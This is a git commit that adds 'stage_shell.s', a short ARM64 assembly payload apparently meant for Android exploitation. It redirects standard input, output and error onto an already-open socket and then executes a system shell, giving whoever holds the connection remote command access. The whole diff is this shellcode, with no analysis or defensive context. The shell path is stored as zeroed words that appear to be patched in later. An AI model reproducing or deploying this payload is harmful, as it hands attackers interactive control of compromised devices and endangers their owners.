add stage_shell.s and cleanup

2017-08-21 14:42:30 +08:00
parent ac6495a7eb
commit d6d6c67f33
4 changed files with 47 additions and 5 deletions
@@ -0,0 +1,44 @@
+.equ SYS_DUP3, 0x18
+.equ SYS_EXECVE, 0xdd
+.equ SYS_EXIT, 0x5d
+
+.equ STDIN, 0x0
+.equ STDOUT, 0x1
+.equ STDERR, 0x2
+
+_start:
+    /* dup3(sockfd, STDIN, 0) ... */
+    mov    x0, x12
+    mov    x2, 0
+    mov    x1, STDIN
+    mov    x8, SYS_DUP3
+    svc    0
+    mov    x1, STDOUT
+    mov    x8, SYS_DUP3
+    svc    0
+    mov    x1, STDERR
+    mov    x8, SYS_DUP3
+    svc    0
+
+    /* execve('/system/bin/sh', NULL, NULL) */
+    adr    x0, shell
+    mov    x2, 0
+    str    x0, [sp, 0]
+    str    x2, [sp, 8]
+    mov    x1, sp
+    mov    x8, SYS_EXECVE
+    svc    0
+
+exit:
+    mov    x0, 0
+    mov    x8, SYS_EXIT
+    svc    0
+
+.balign 4
+shell:
+.word 0x00000000
+.word 0x00000000
+.word 0x00000000
+.word 0x00000000
+end:
+